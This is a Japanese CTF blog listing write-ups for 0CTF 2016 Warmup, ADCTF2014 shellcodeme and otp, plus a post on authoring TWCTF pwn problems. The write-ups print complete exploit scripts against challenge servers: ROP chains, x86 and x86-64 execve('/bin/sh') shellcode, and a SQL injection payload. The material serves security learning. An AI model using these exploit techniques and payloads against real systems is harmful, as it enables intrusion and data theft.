Tokyo Westerns/MMA CTF 2nd 2016のPwn作問
今回,TokyoWesterns CTF(通称 TWCTF)を9月3日の9:00から5日の9:00,計48時間オンラインで開催しました.
Tokyo Westerns/MMA CTF 2nd 2016
多くのみなさんにTWCTFに参加していただいて,本当に感謝感謝です.
最終的には1056チーム(アクティブチーム数は835チーム)参加して頂きました.
CTF開催中は,ひっきりなしに海外の方からの問題への問い合わせがIRCにあり,ほとんどそれに従事してました.
まるでサポートセンターに放り込まれたような感覚です(汗)
僕のTOEICうん百点のようなクソみたいな英語でも,頑張ればなんとかコミュニケーション取れる事が分かりました(笑)
問い合わせといえば,やっぱりこれが日本人と海外の人の差かと思ったのですが,日本人はほとんど問い合わせしませんね!
僕が対応した日本人は全日程通して一人だけでした.
さて,今回のCTFでは,私はPwnableジャンルの作問を担当しました.
作ったのはjudgement,greeting,diary,shadowの4問です.
それぞれの問題を軽く解説していこうかと思います.
続きを読むCodegate CTF 2016 Quals Writeup
0ctfの裏で行われていたCodegate CTF
うちのチームも登録はしてたけど,参加したのは僕だけ
しかも4時間くらいしか取り組んでいないという雑な扱い
一応2問解いたので,ここに書き記しておきます.
続きを読む0CTF 2016 Quals Writeup
1年と3カ月ぶりの更新となります.
今までブログは自前のサーバで動かしていたのですが,なんか面倒臭くなってずっと放置してました.
WordPressで管理を続けるのもなんかアレなので,この度はてなブログに移行をしました.
さて,今回は0CTFに参加して解いた問題のWriteupを記しておこうかと思います.
(チームメイトと相談しながら解けた問題はいくつかあるけど,自分一人で解いたのは1問しかないのだいぶつらい.人権無い)
Warmup (Exploit 2)
問題文
warmup for pwning!
Notice: This service is protected by a sandbox, you can only read the flag at
/home/warmup/flag
202.120.7.207 52608
下調べ
shiftcrops@S-Ubuntu:~/CTF/0CTF$ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped shiftcrops@S-Ubuntu:~/CTF/0CTF$ checksec.sh --file warmup RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH warmup
stripされてはいるが,32bitなのでだいぶ優しい
プログラム動作解析
stripかーとか思ってobjdumpで開いてみたら,何のことは無かった
以下抜粋
080480d8 <.text>: 80480d8: 83 ec 10 sub esp,0x10 80480db: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 80480e2: e8 26 00 00 00 call 0x804810d <syscall_alarm> 80480e7: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 80480ee: c7 44 24 04 bc 91 04 mov DWORD PTR [esp+0x4],0x80491bc 80480f5: 08 80480f6: c7 44 24 08 16 00 00 mov DWORD PTR [esp+0x8],0x16 80480fd: 00 80480fe: e8 32 00 00 00 call 0x8048135 <syscall_write> 8048103: e8 52 00 00 00 call 0x804815a <vuln> 8048108: e8 40 00 00 00 call 0x804814d <syscall_exit> 0804815a8 <vuln>: 804815a: 83 ec 30 sub esp,0x30 804815d: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 8048164: 8d 44 24 10 lea eax,[esp+0x10] 8048168: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804816c: c7 44 24 08 34 00 00 mov DWORD PTR [esp+0x8],0x34 8048173: 00 8048174: e8 a4 ff ff ff call 0x804811d <syscall_read> 8048179: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 8048180: c7 44 24 04 d3 91 04 mov DWORD PTR [esp+0x4],0x80491d3 8048187: 08 8048188: c7 44 24 08 0b 00 00 mov DWORD PTR [esp+0x8],0xb 804818f: 00 8048190: e8 a0 ff ff ff call 0x8048135 <syscall_write> 8048195: b8 af be ad de mov eax,0xdeadbeaf 804819a: b9 af be ad de mov ecx,0xdeadbeaf 804819f: ba af be ad de mov edx,0xdeadbeaf 80481a4: bb af be ad de mov ebx,0xdeadbeaf 80481a9: be af be ad de mov esi,0xdeadbeaf 80481ae: bf af be ad de mov edi,0xdeadbeaf 80481b3: bd af be ad de mov ebp,0xdeadbeaf 80481b8: 83 c4 30 add esp,0x30 80481bb: c3 ret
それぞれのシステムコールを呼ぶ関数は,eaxにシステムコール番号を格納してからスタックから引数を取り,割り込みを発生させるという動きをする.
戻り値が負ならsyscall_exitを呼ぶ.
問題はここ
0804815a8 <vuln>: 804815a: 83 ec 30 sub esp,0x30 804815d: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 8048164: 8d 44 24 10 lea eax,[esp+0x10] 8048168: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804816c: c7 44 24 08 34 00 00 mov DWORD PTR [esp+0x8],0x34 8048173: 00 8048174: e8 a4 ff ff ff call 0x804811d <syscall_read>
スタックを0x30byte確保し,0x10byte進んだところから0x34byteだけreadを行う.
すなわち0x14byteオーバフローを起こす.
0x20だけオフセットを取ってやればeipを取れるのだが,ここでopenが無いことにふと気づく
しかしまぁ,alarmあるし問題ない
解法
1回でオーバーフローする長さが短いので,return_to_vulnして繰り返しROPを行う
alarmでsys_openを指定し(exploit_st2),次に1秒以内にalarmを呼べばその値がeaxに格納されている.
その状態で引数にfilenameとflag,modeを与えればいいのだが,オーバーフローする長さが足りず残念ながらmodeまで指定できない.(exploit_st3)
しかし,開くだけだし問題なさそう
open("/home/warmup/flag", O_RDONLY, ??)
fd=3で開かれる筈なので,あとはこのファイルディスクリプタからreadして,STDOUT_FILENOにwriteすればお終い.
Exploit
#!/usr/bin/env python from sc_pwn import * target = {'host':'202.120.7.207','port':52608} addr_vuln = 0x0804815a addr_alarm = 0x0804810d addr_read = 0x0804811d addr_write = 0x08048135 addr_exit = 0x0804814d addr_syscall_arg3 = 0x08048122 addr_buf = 0x0804920c str_fname = '/home/warmup/flag\x00' sys_open = 0x05 #========== def attack(cmn): exploit_st1 = '\x00'*0x20 exploit_st1 += pack_32(addr_read) exploit_st1 += pack_32(addr_vuln) exploit_st1 += pack_32(STDIN_FILENO) exploit_st1 += pack_32(addr_buf) exploit_st1 += pack_32(len(str_fname)) exploit_st2 = '\x00'*0x20 exploit_st2 += pack_32(addr_alarm) exploit_st2 += pack_32(addr_vuln) exploit_st2 += pack_32(sys_open) exploit_st3 = '\x00'*0x20 exploit_st3 += pack_32(addr_alarm) exploit_st3 += pack_32(addr_syscall_arg3) exploit_st3 += pack_32(addr_vuln) exploit_st3 += pack_32(addr_buf) exploit_st3 += pack_32(O_RDONLY) exploit_st4 = '\x00'*0x20 exploit_st4 += pack_32(addr_read) exploit_st4 += pack_32(addr_vuln) exploit_st4 += pack_32(3) exploit_st4 += pack_32(addr_buf) exploit_st4 += pack_32(0x100) exploit_st5 = '\x00'*0x20 exploit_st5 += pack_32(addr_write) exploit_st5 += pack_32(addr_exit) exploit_st5 += pack_32(STDOUT_FILENO) exploit_st5 += pack_32(addr_buf) exploit_st5 += pack_32(0x100) cmn.read_until('2016!\n') cmn.send(exploit_st1) cmn.read_until('Good Luck!\n') cmn.send(str_fname) cmn.send(exploit_st2) cmn.read_until('Good Luck!\n') cmn.send(exploit_st3) cmn.read_until('Good Luck!\n') cmn.send(exploit_st4) cmn.read_until('Good Luck!\n') cmn.send(exploit_st5) cmn.read_until('Good Luck!\n') flag = cmn.read_until('\n') info('flag : %s' % flag) #========== if __name__=='__main__': cmn = Communicate(target,mode='RAW') attack(cmn) del(cmn) #==========
実行結果
[*]Connect to 202.120.7.207:52608 [+]flag : 0ctf{welcome_it_is_pwning_time} [*]Network Disconnect...
ADCTF2014 [25] xmas
Merry Christmas! Here is a present for you: ADCTF_m3RRy_ChR157m42
Thank you for playing. -- akiym
クリスマス?365n日(n>0)先のイベントだよね?
知ってる知ってる
こうしてADCTF2014も遂に終わりを迎えてしまいました。
残念ながら、全部解き切ることはできませんでした。
reversing系が弱すぎて泣けてきます
我らがtuat_mccは215点で17位でした。
といっても俺一人だったけどね
これからも精進を重ねて参ります!
皆さんお疲れ様でした。
そして運営のdodododoの方々、ありがとうございました!!
FLAG: ADCTF_m3RRy_ChR157m42
ADCTF2014 [23] shellcodeme
解いた後の、まさかのstage2みたいなのってつらい
Can you execute shellcode? Really? shellcodeme.c shellcodemenc pwnable.katsudon.org 33201
この問題は、同じコードから生成されたと思われる3つのバイナリをpwnします。
一つは32bit、もう一つは64bitのバイナリです。
長いので、先にコード載せておきます exploit_shellcodeme.py
#!/usr/bin/env python from struct import * import sys import socket rhp = ("pwnable.katsudon.org",33201) nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc.settimeout(0.5) nc.connect(rhp) print 'Connect to %s:%d' % rhp #==========Stage1==========# def stage1(nc): print 'Stage1' addr_ret = 0x080484fd addr_pop_0xc = 0x08048312 addr_mprotect = 0x08048330 addr_read = 0x08048340 addr_mem_exec = 0x20000000 stdin = 0x0 length = 0x400 exploit = pack("<I", addr_ret) exploit += "\x00"*0xc exploit += pack("<I", addr_mprotect) exploit += pack("<I", addr_pop_0xc) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) exploit += pack("<I", 0x7) exploit += pack("<I", addr_read) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", stdin) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) payload = "\x31\xc0" #xor %eax,%eax payload += "\xb0\x0b" #mov 0x0b,%al payload += "\x68\x2f\x2f\x73\x68" #push 0x68732f2f payload += "\x68\x2f\x62\x69\x6e" #push 0x6e69622f payload += "\x89\xe3" #mov %esp,%ebx payload += "\x31\xc9" #xor %ecx,%ecx payload += "\x31\xd2" #xor %edx,%edx payload += "\xcd\x80" #int 0x80 print 'Send exploit...' nc.sendall(exploit) print 'Send payload...' nc.sendall(payload) #==========Stage2==========# def stage2(nc): print 'Stage2' addr_ret = 0x0040062c addr_pop_rsi_1 = 0x00400691 addr_pop_rdi = 0x00400693 addr_pop_1 = 0x00400692 addr_mov_rdx = 0x00400670 #mov r13,rdx mov %r14,%rsi #mov %r15d,%edi callq *(%r12,%rbx,8) addr_pop_6 = 0x0040068a #pop rbx,rbp,r12,r13,r14,r15 addr_mprotect = 0x004004c0 addr_read = 0x00400490 addr_mem_exec = 0x20000000 addr_buf = 0x00601100 stdin = 0x0 length = 0x400 exploit = pack("<Q", addr_ret) exploit += "\x00"*0x8 exploit += pack("<Q", addr_pop_rdi) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_pop_rsi_1) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0xdeadbeef) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0x7) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_mprotect) exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_mem_exec) payload = "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" #movabs '/bin/sh',%rbx payload += "\x53" #push %rbx payload += "\x48\x89\xe7" #mov %rsp,%rdi payload += "\x48\x31\xf6" #xor %rsi,%rsi payload += "\x48\x31\xd2" #xor %rdx,%rdx payload += "\x48\x31\xc0" #xor %rax,%rax payload += "\xb0\x3b" #mov 0x3b,%al payload += "\x0f\x05" #syscall nc.sendall('./shellcodeme2\x0a') nc.sendall(exploit) nc.sendall(pack("<Q", addr_pop_1)) nc.sendall(payload) stage1(nc) stage2(nc) 続く
まずは32bitのStage1から
そもそもこのプログラムは、readする際に
read(0, &buf, SHELLCODE_LEN);
としていることから、確保した0x20000000ではなく、char*型のbufが格納された場所に書き込んでしまっている
そのため、
(*(void(*)()) buf)()
の際に、書き込んだ始めの4byteのアドレスに制御が飛ぶようになっている
しかしespのずれを考えるのが面倒だったため、即座にretをして通常のスタックオーバーフローの問題のように扱うこととした。
exploit = pack("<I", addr_ret) exploit += "\x00"*0xc exploit += pack("<I", addr_mprotect) exploit += pack("<I", addr_pop_0xc) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) exploit += pack("<I", 0x7) exploit += pack("<I", addr_read) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", stdin) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length)
mprotectで0x20000000のパーミッションをrwxとし、そこにシェルコードを書きこむ
次にreadができるように、add 0xc,$espを忘れずに
readで0x20000000にシェルコードを書きこんだら、そこに制御を飛ばせばStage1は終了。
シェルコードの説明はいつも通りなので割愛
次に64bitのStage2である。
64bitでのsyscallでは、引数を順に$edi,$esi,$edx...の順に格納しておかなければならない。
$rdiと$rsiはROP gadgetを用いて容易に格納できるが、$edxはそう簡単にはいかないようである。
使えるのは
40068a: 5b pop %rbx 40068b: 5d pop %rbp 40068c: 41 5c pop %r12 40068e: 41 5d pop %r13 400690: 41 5e pop %r14 400692: 41 5f pop %r15 400694: c3 retq
でpopしてから、
400670: 4c 89 ea mov %r13,%rdx 400673: 4c 89 f6 mov %r14,%rsi 400676: 44 89 ff mov %r15d,%edi 400679: 41 ff 14 dc callq *(%r12,%rbx,8)
でmovしてやれば良いと考えられる。
ちなみに、同時に$rsiと$ediへの格納も行える。
exploit = pack("<Q", addr_ret) exploit += "\x00"*0x8 exploit += pack("<Q", addr_pop_rdi) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_pop_rsi_1) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0xdeadbeef) exploit += pack("<Q", addr_read)
まずは先程と同じように最初にretします。
$rdiにstdinの0、$rsiに適当な書き込み可能なバッファアドレスを指定してread
nc.sendall(pack("<Q", addr_pop_1))
ここで、1回popするROPgadgetのアドレスを格納させます。これは後ほど重要になってきます。
次に$rbx,$rbp,$r12,$r13,$r14,$r15の順で値を格納し、それを目的のレジスタにmovします。
exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0x7) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_mprotect)
しかし、この後はretではなくcallq *(%r12,%rbx,8)です。
なので、$r12は先程のバッファアドレス、$rbxは0にすることで、call addr_pop_1+0*8となります。
これの命令は実質ret命令と同じです。
そして、$rdi=0x20000000,$rsi=length,$rdx=0x7の状態でmprotectが呼ばれ、読み込み書き込み実行が可能となります。
あとは先程同様に値を格納して、今度はreadでシェルコードを読み込みます。
exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_mem_exec)
最後にそのシェルコードに制御を飛ばして完了です。
面倒なので、シェルコードの説明は同じく割愛。
あー長かったwww
FLAG: ADCTF_I_l0v3_tH15_4W350M3_m15T4K3
ADCTF2014 [21] otp
これ、ずいぶん簡単だったと思うんだけど、なんでこんなに点数高いのか
Try your sqli skills. otp.adctf2014.katsudon.org source
まあこれもSQLinjectionですね
twitterを見てると、最初は問題に本気で脆弱性があったらしく、Sqliteとかにすれば行けたとかいう話が
でもまぁ、私が開いたときにはすでにサーバーが停止してて、修正された後だったので関係ないですw
今回の問題では、sqliteが禁句となっている。即ちsqlite_masterから読みださせることは考えていないってことですよね?
それならば方針はwith文かな
select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')
こんな感じでカラム名が分かっていなくても、カラム数さえ合っていれば適当に名づけてselectできます。
import urllib,urllib2 URI = 'http://otp.adctf2014.katsudon.org/' def communicate(values): if(values is not None): data = urllib.urlencode(values) req = urllib2.Request(URI,data) else: req = urllib2.Request(URI) res = urllib2.urlopen(req) return res.read().split('\n') if __name__ == '__main__': token = communicate(None)[22].split('"')[5] print 'token : %s' % token query = "' union all select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')--" % token values = {'token' : query} passwd = communicate(values)[21].split(' ')[3][:-4] print 'pass : %s' % passwd values = {'token' : token, 'pass' : passwd} for s in communicate(values)[21][3:-4].split('<br />'): print s raw_input('Press any key to exit...')
トークンが分かっているのでそのパスワードを引き出し、最初から10秒以内にトークンとパスワードを投げればフラグがもらえます。
FLAG: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5